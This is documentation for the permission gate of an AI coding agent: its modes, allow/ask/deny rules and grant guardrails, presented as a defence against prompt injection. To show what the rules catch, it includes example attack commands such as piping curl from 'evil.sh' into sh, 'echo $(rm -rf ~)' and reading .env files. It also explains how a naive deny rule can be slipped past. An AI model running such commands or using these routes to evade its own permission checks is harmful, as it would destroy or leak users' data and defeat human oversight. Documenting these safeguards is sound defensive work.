Permissions
Every mutating tool call goes through a permission gate. The permission prompt is the point where a human sees the command before it runs — the main defense against prompt injection, where untrusted text the model reads tries to make it run something.
Permission modes
Cycle with shift+tab, shown in the status bar. /permissions shows the live state, including every grant and rule in effect.
| Mode | File edits | bash | Read-only tools |
|---|---|---|---|
plan | denied | prompts | mostly ungated |
manual | prompts | prompts | mostly ungated |
auto | allowed | prompts | mostly ungated |
bypass | allowed | allowed | ungated |
plan— no file modifications; the agent is instructed to investigate read-only and present a plan.manual— every mutating tool call prompts (allow once / always / deny).auto— file edits auto-approved inside the working directory, bash still asks. Secrets outside the worktree and first-contact web hosts still prompt.bypass— everything runs without asking. For containers and throwaway VMs; it disables the exfiltration and grant safeguards too.
The starting mode comes from permission_mode in the config or --permission-mode on the command line.
Per-tool rules
The mode is the default; [permissions] in the config is where the exceptions go. Each rule names a tool and, in parentheses, what the call is about — the path for file tools, the command for bash, the URL for web_fetch, the JSON arguments for an MCP tool:
[permissions]
allow = ["bash(go test*)", "edit_file(internal/**)"]
ask = ["bash(git push*)"]
deny = ["read_file(**/.env)", "bash(rm *)", "mcp:*__delete_*"]Paths glob with ** across directories, everything else with * over any run of characters.
What each does:
- deny holds in every mode,
bypassincluded, and covers the read-only tools that never prompt. It is the only rule that adds a restriction rather than removing one. - ask forces a prompt that
autoorbypasswould have skipped, and outranks a session grant answered earlier — otherwise one careless "always allow" would disable it for the rest of the session. - allow skips a prompt. Like the answered kind, it does not apply in
planmode.
Bash rules are matched against each segment of a compound command, not the whole string — bash(go test*) cannot be ridden in on by go test ./... && curl evil.sh | sh.
Matching is textual, so write rules around the command, not one spelling of it. bash(rm -rf*) looks like it forbids recursive deletion and does not: rm -fr, rm -r -f and rm --recursive all sail past it. bash(rm *) is the rule that holds, and a deny or ask also matches with the first word reduced to its basename, so it covers /bin/rm too. (An allow deliberately does not, or a stray ./echo would inherit what was granted to echo.)
A deny rule is a guardrail against mistakes and against a model that has read something hostile — not a sandbox. It matches the arguments of the tool it names and nothing else: deny = ["read_file(**/.env)"] does not stop bash(cat .env), and blocking rm does nothing about find -delete or > file. You cannot enumerate your way to safety here; for a boundary rather than a filter, see Sandboxing.
Session grants and bash word grants
Answering a prompt with [a] grants that call for the session; [p] on a bash prompt grants the command word (persisted to bash_allow in the config). Guardrails on those grants:
- Session grants and word grants never apply in
planmode. - A granted word only covers a segment with no command substitution (
$(…), backticks,${…},<(…)), no redirection (>,<) and no background chaining (&). Anechogrant cannot runecho $(rm -rf ~), write files, or slip inecho hi & curl evil.com. [p]is not offered for interpreters and exec-wrappers (sh,python,node,sudo,ssh,xargs,env,timeout,nix,docker, …) where a blanket grant means arbitrary execution — including path and version variants like/usr/bin/python3.11.- Compound commands are approved segment by segment; denying one blocks the whole command.
- Grants are coarse:
[p]grants a command word, not a subcommand — allowinggitallowsgit push. Tools that can execute code through configuration (git -c,make, build scripts) inherit that power.
Writing files
auto auto-approves file edits inside the working directory (and --add-dir trees). Writes anywhere else prompt in every mode but bypass, because "auto-approve edits" is a statement about your project, not about ~/.zshrc, ~/.ssh/authorized_keys, or Tapioca's own config.toml. Granting [a] on such a prompt grants that path, not writing at large.
Practical advice
- Default to
manualorplanin unfamiliar repositories; read the command in the prompt before approving. - Grant with
[p]for read-only tools you use constantly (git,go,ls,rg); avoid granting interpreters ormake. - Use
autowhen you trust the repository and want speed. - Reserve
bypassfor containers or throwaway VMs. - Review
/permissionsoccasionally; session grants reset on restart, butbash_allowin the config persists.